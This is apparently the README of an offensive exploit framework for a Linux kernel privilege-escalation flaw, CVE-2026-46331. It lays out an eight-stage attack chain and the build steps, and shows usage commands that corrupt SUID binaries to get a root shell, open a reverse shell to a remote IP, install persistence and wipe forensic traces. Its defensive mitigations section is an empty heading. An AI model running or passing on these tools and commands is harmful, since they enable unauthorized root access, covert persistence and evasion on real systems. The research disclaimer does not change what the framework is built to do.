DirtyClone Exploit Framework
CVE-2026-46331 — Linux Kernel Local Privilege Escalation
TC pedit + IPsec TEE Page Cache Corruption · Affected kernels: ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝
⚠️ FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY
Use this framework exclusively in isolated lab environments that you own
or have explicit written authorization to test.
Unauthorized use is illegal and unethical.
📋 Table of Contents
🔬 Vulnerability Overview
CVE-2026-46331 is a local privilege escalation vulnerability in the Linux kernel (≤ 6.12.9) caused by a race condition between the TC (cls_act) pedit action and IPsec TEE-based packet duplication.
Root Cause
When a packet traverses the TC egress path with a pedit action that sets IHL = 15, the kernel's IPsec subsystem receives a malformed packet where the computed IP payload offset exceeds the actual packet boundaries. Under concurrent sendfile(2) operations, this mismatch allows an unprivileged user (inside a user namespace with CAP_NET_ADMIN) to corrupt read-only page cache entries of arbitrary files — including SUID binaries.
Impact
🔗 Attack Chain
Unprivileged User (UID=1000)
│
▼
[1] Reconnaissance
├─ Kernel version check
├─ userns availability
└─ Target binary profiling
│
▼
[2] Namespace Bypass
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ AppArmor profile hopping (fallback)
└─ CAP_NET_ADMIN acquired
│
▼
[3] Network Infrastructure
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Page Cache Corruption
├─ sendfile → pedit trigger
├─ Page cache entry corrupted
└─ Shellcode written to read-only binary
│
▼
[5] Privilege Escalation
└─ execve(SUID binary) → root shell
│
▼
[6-8] Post-Exploitation
├─ Persistence (6 mechanisms)
├─ Evasion / Anti-Forensics
└─ Trace cleanup
│
▼
🎯 ROOT SHELL (UID=0 EUID=0)
📁 Project Structure
dirtyclone-exploit/
├── Makefile # Build system
├── README.md # This file
├── LICENSE # MIT License
│
├── include/
│ ├── exploit.h # Core types, flags, prototypes
│ ├── packet_engine.h # Packet crafting engine API
│ ├── memory_ops.h # Page cache corruption API
│ └── persistence.h # Persistence mechanism API
│
├── src/
│ ├── main.c # Framework entry point
│ ├── stage_env_analysis.c # Phase 1: Reconnaissance
│ ├── stage_namespace_bypass.c # Phase 2: userns bypass
│ ├── stage_network_setup.c # Phase 3: TC/IPsec setup
│ ├── stage_page_cache_corrupt.c # Phase 4: Core exploit
│ ├── stage_privilege_escalation.c # Phase 5: LPE
│ ├── stage_persistence.c # Phase 6: Persistence
│ ├── stage_evasion.c # Phase 7: Anti-forensics
│ ├── stage_cleanup.c # Phase 8: Trace removal
│ ├── memory_ops.c # Page cache primitives
│ ├── packet_engine.c # Raw packet crafting
│ └── persistence.c # Persistence implementations
│
├── modules/
│ ├── packet_craft.py # Python packet crafter (Scapy)
│ └── exploit_analyzer.py # Pre-exploit analysis tool
│
├── scripts/
│ ├── setup_env.sh # Dependency install + build
│ ├── cleanup.sh # System cleanup
│ └── detect_targets.sh # Vulnerable binary scanner
│
└── payloads/
└── README.md # Payload directory info
⚙️ Requirements
Compile-time
gcc ≥ 10makelibcap-dev / libcap-devel
Runtime (Linux target)
- Kernel ≤ 6.12.9
iproute2 (tc, ip)iptables- Unprivileged user namespaces enabled
Python modules (optional)
🔧 Build & Install
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh
# Manual build
make all
# Debug build
make debug
# Clean
make clean
🚀 Usage
# Show help
./bin/dirtyclone --help
# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test
# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone
# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Detect vulnerable targets first
bash scripts/detect_targets.sh
🐍 Python Modules
exploit_analyzer.py — Pre-Exploit Reconnaissance
# Analyze default target
python3 modules/exploit_analyzer.py
# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# JSON output for automation
python3 modules/exploit_analyzer.py --json
# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — Raw Packet Trigger
# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20
🛡️ Defensive Mitigations
📅 Timeline
📚 References
👤 Author
VulnQuest · Security Research
This repository is provided for educational purposes only.
All exploitation code is intended for use in authorized lab environments.
vulnquest58/dirtyclone-exploit
